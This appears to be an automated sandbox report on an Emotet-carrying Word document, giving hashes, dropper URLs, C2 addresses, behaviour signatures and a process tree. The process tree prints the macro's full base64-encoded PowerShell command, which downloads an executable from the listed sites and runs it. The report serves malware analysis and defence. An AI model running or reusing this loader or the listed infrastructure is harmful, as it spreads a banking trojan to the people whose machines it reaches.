Overview

overview

10

Static

static

8

emotet_e1_...oc.doc

windows7_x64

10

emotet_e1_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    82s
  • max time network
    156s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    17/09/2020, 10:48

Sharing

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Report Analysis Logs

General

  • Target
    emotet_e1_35afa91a621428682fb67051ac80e0f11f533d29e9c4d1df9dca757239fedf45_2020-09-17__104718._doc.doc
  • Size 242KB
  • Sample200917-99s2rywe8x
  • SHA256 35afa91a621428682fb67051ac80e0f11f533d29e9c4d1df9dca757239fedf45
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://localesfavoritos.com/wp-admin/c/
  • exe.dropper

    http://generalstorebd.com/wp-admin/pvI/
  • exe.dropper

    https://agrotradespecialist.com/re/xq/
  • exe.dropper

    http://laladiwanchandmodernwrestlingandyogacentre.com/wp-content/kg/
  • exe.dropper

    http://zzuzhi.xuezha.vip/themes/P/
  • exe.dropper

    http://octopusconsults.com/wp-content/En7/
  • exe.dropper

    https://minilillie.com/8npku7/b/

Extracted

Family

  • emotet

C2

  • 174.113.69.136:80

  • 51.38.124.206:80

  • 82.196.15.205:8080

  • 38.88.126.202:8080

  • 190.115.18.139:8080

  • 98.13.75.196:80

  • 181.30.61.163:443

  • 82.76.111.249:443

  • 181.129.96.162:8080

  • 74.58.215.226:80

  • 68.69.155.181:80

  • 188.135.15.49:80

  • 190.163.31.26:80

  • 50.121.220.50:80

  • 51.159.23.217:443

  • 2.47.112.152:80

  • 185.215.227.107:443

  • 217.13.106.14:8080

  • 70.32.115.157:8080

  • 170.81.48.2:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 8 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_35afa91a621428682fb67051ac80e0f11f533d29e9c4d1df9dca757239fedf45_2020-09-17__104718._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1584
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -encod JABWAHoAYQBmADEAeQB3AD0AKAAnAFQAJwArACgAJwA4ACcAKwAnAHgAMgAnACkAKwAoACcANAAnACsAJwByADgAJwApACkAOwAmACgAJwBuAGUAdwAtACcAKwAnAGkAdAAnACsAJwBlAG0AJwApACAAJABlAG4AdgA6AFUAUwBFAHIAUABSAG8ARgBJAGwARQBcAFQAQQBDAFYANQBEAHcAXABlAEwAMAA4AEcAZQA3AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQAaQBSAEUAYwB0AG8AcgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYABDAHUAcgBJAFQAYAB5AFAAUgBPAHQAbwBgAGMATwBMACIAIAA9ACAAKAAoACcAdABsACcAKwAnAHMAJwApACsAJwAxACcAKwAoACcAMgAsACcAKwAnACAAdABsAHMAMQAxACcAKwAnACwAIAAnACsAJwB0ACcAKQArACcAbABzACcAKQA7ACQARgBxADkAYgBuAHAAbwAgAD0AIAAoACgAJwBIADYAawAnACsAJwB1AGUAJwApACsAKAAnADQANAAnACsAJwB3ACcAKQArACcAMwAnACkAOwAkAEQAaQBlAG4AZABkAHUAPQAoACcARgAnACsAKAAnAHoAJwArACcAcABpAHEAJwArACcAZABvACcAKQApADsAJABTAG4ANgBsAHQAYwBrAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnADMAcAAnACsAJwBrAFQAJwArACgAJwBhAGMAJwArACcAdgAnACkAKwAoACcANQBkAHcAMwBwACcAKwAnAGsAJwApACsAKAAnAEUAbAAwADgAZwAnACsAJwBlADcAJwApACsAJwAzACcAKwAnAHAAawAnACkAIAAgAC0AcgBFAFAATABBAEMARQAgACAAKABbAGMASABhAFIAXQA1ADEAKwBbAGMASABhAFIAXQAxADEAMgArAFsAYwBIAGEAUgBdADEAMAA3ACkALABbAGMASABhAFIAXQA5ADIAKQArACQARgBxADkAYgBuAHAAbwArACgAJwAuACcAKwAoACcAZQB4ACcAKwAnAGUAJwApACkAOwAkAFYAOQBxADYAMwAxAG8APQAoACcAUABsACcAKwAoACcANgAnACsAJwBsAHIAYgA4ACcAKQApADsAJABWAGkAawAxAHQAdgBfAD0ALgAoACcAbgBlACcAKwAnAHcALQBvAGIAJwArACcAagBlAGMAdAAnACkAIABuAGUAVAAuAFcARQBiAGMATABpAGUAbgB0ADsAJABHAGIAZwA3AGcAMgBzAD0AKAAoACcAaAAnACsAJwB0AHQAJwApACsAKAAnAHAAOgAnACsAJwAvAC8AbAAnACsAJwBvACcAKQArACgAJwBjAGEAbABlAHMAJwArACcAZgAnACkAKwAnAGEAJwArACgAJwB2ACcAKwAnAG8AcgBpAHQAJwApACsAKAAnAG8AJwArACcAcwAuACcAKQArACcAYwBvACcAKwAnAG0ALwAnACsAKAAnAHcAcAAnACsAJwAtACcAKQArACcAYQAnACsAJwBkAG0AJwArACgAJwBpACcAKwAnAG4ALwAnACkAKwAnAGMALwAnACsAJwAqACcAKwAnAGgAJwArACcAdAB0ACcAKwAoACcAcAA6ACcAKwAnAC8AJwApACsAJwAvAGcAJwArACgAJwBlACcAKwAnAG4AZQAnACkAKwAoACcAcgAnACsAJwBhAGwAJwApACsAKAAnAHMAdABvAHIAJwArACcAZQAnACkAKwAoACcAYgBkAC4AYwBvACcAKwAnAG0AJwApACsAKAAnAC8AJwArACcAdwBwAC0AYQBkAG0AJwArACcAaQAnACsAJwBuAC8AJwApACsAKAAnAHAAdgAnACsAJwBJACcAKQArACgAJwAvACoAaAB0ACcAKwAnAHQAcABzADoAJwArACcALwAvAGEAZwAnACsAJwByAG8AdAByAGEAZABlAHMAJwArACcAcAAnACsAJwBlAGMAJwApACsAKAAnAGkAYQAnACsAJwBsACcAKQArACgAJwBpACcAKwAnAHMAdAAnACkAKwAnAC4AJwArACgAJwBjACcAKwAnAG8AbQAvACcAKQArACgAJwByAGUALwAnACsAJwB4AHEAJwArACcALwAqAGgAdAAnACkAKwAoACcAdABwADoALwAvACcAKwAnAGwAJwApACsAKAAnAGEAbABhAGQAaQB3AGEAbgBjACcAKwAnAGgAJwArACcAYQAnACkAKwAoACcAbgAnACsAJwBkACcAKwAnAG0AbwBkAGUAcgBuAHcAJwApACsAKAAnAHIAZQBzAHQAbABpAG4AJwArACcAZwAnACkAKwAoACcAYQBuACcAKwAnAGQAJwApACsAKAAnAHkAbwAnACsAJwBnACcAKwAnAGEAYwBlAG4AdAByAGUAJwApACsAJwAuAGMAJwArACgAJwBvACcAKwAnAG0ALwB3AHAAJwArACcALQAnACsAJwBjAG8AbgB0AGUAJwArACcAbgB0AC8AJwArACcAawBnAC8AKgBoAHQAdABwADoALwAvAHoAegAnACkAKwAoACcAdQB6AGgAJwArACcAaQAnACkAKwAnAC4AJwArACcAeAB1ACcAKwAnAGUAegAnACsAKAAnAGgAYQAuAHYAaQAnACsAJwBwAC8AJwApACsAJwB0ACcAKwAnAGgAZQAnACsAJwBtACcAKwAoACcAZQBzACcAKwAnAC8AUAAvACoAJwApACsAKAAnAGgAdAB0AHAAJwArACcAOgAnACkAKwAoACcALwAvACcAKwAnAG8AYwAnACkAKwAoACcAdABvAHAAdQAnACsAJwBzAGMAbwAnACsAJwBuACcAKQArACgAJwBzACcAKwAnAHUAbAB0ACcAKQArACgAJwBzACcAKwAnAC4AYwBvAG0AJwArACcALwB3AHAALQAnACkAKwAoACcAYwBvACcAKwAnAG4AJwApACsAJwB0AGUAJwArACcAbgAnACsAJwB0ACcAKwAoACcALwAnACsAJwBFAG4AJwArACcANwAvACoAaAB0AHQAcAAnACkAKwAoACcAcwAnACsAJwA6AC8AJwApACsAJwAvAG0AJwArACcAaQBuACcAKwAnAGkAJwArACgAJwBsAGkAJwArACcAbABsAGkAZQAuAGMAJwApACsAKAAnAG8AbQAnACsAJwAvACcAKwAnADgAbgBwAGsAdQA3AC8AJwApACsAJwBiAC8AJwApAC4AIgBTAFAAbABgAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEsAcAB0AG8AYgBvADQAPQAoACgAJwBFAHIAJwArACcAagBpACcAKQArACgAJwB1AGMAJwArACcAcAAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEsAeQBhAGIAdgBoAG8AIABpAG4AIAAkAEcAYgBnADcAZwAyAHMAKQB7AHQAcgB5AHsAJABWAGkAawAxAHQAdgBfAC4AIgBEAE8AVwBOAGAAbABPAGEAZABgAEYAaQBgAEwAZQAiACgAJABLAHkAYQBiAHYAaABvACwAIAAkAFMAbgA2AGwAdABjAGsAKQA7ACQARQBpADAANgBmADkAdAA9ACgAKAAnAFcAZgAnACsAJwAzADMAJwApACsAJwBqACcAKwAnAGoANgAnACkAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQAUwBuADYAbAB0AGMAawApAC4AIgBMAEUAYABOAGAAZwB0AEgAIgAgAC0AZwBlACAAMgAzADIAMAA4ACkAIAB7ACYAKAAnAEkAbgB2ACcAKwAnAG8AawAnACsAJwBlAC0ASQB0AGUAbQAnACkAKAAkAFMAbgA2AGwAdABjAGsAKQA7ACQAQQA2AGEAdgBhADYAcQA9ACgAJwBYAHkAJwArACgAJwBrAHEAJwArACcAZgBwACcAKQArACcAdQAnACkAOwBiAHIAZQBhAGsAOwAkAFEAZgBqAGMAYgBqAHIAPQAoACcAQgB0ACcAKwAoACcAOAB3ACcAKwAnAGEAJwApACsAJwBsADkAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABDAHEAdQBoAHAAeABmAD0AKAAoACcATgAnACsAJwAyAGoAagAnACkAKwAoACcAagAnACsAJwBhAHoAJwApACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1540
    • C:\Users\Admin\Tacv5dw\El08ge7\H6kue44w3.exe
      "C:\Users\Admin\Tacv5dw\El08ge7\H6kue44w3.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      PID:428
      • C:\Windows\SysWOW64\neth\wmploc.exe
        "C:\Windows\SysWOW64\neth\wmploc.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:280

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/280-21-0x0000000000260000-0x0000000000270000-memory.dmp
        Download

        memory/280-20-0x0000000000240000-0x0000000000252000-memory.dmp
        Download

        memory/428-15-0x0000000000340000-0x0000000000352000-memory.dmp
        Download

        memory/428-16-0x0000000000360000-0x0000000000370000-memory.dmp
        Download

        memory/1336-22-0x000007FEF50A0000-0x000007FEF531A000-memory.dmp
        Download

        memory/1540-12-0x000000001C2D0000-0x000000001C2D1000-memory.dmp
        Download

        memory/1540-11-0x000000001A9D0000-0x000000001A9D1000-memory.dmp
        Download

        memory/1540-10-0x0000000002780000-0x0000000002781000-memory.dmp
        Download

        memory/1540-9-0x0000000002750000-0x0000000002751000-memory.dmp
        Download

        memory/1540-8-0x000000001AAE0000-0x000000001AAE1000-memory.dmp
        Download

        memory/1540-7-0x0000000002510000-0x0000000002511000-memory.dmp
        Download

        memory/1540-6-0x000007FEE9BD0000-0x000007FEEA5BC000-memory.dmp
        Download

        memory/1584-2-0x0000000008A10000-0x0000000008A14000-memory.dmp
        Download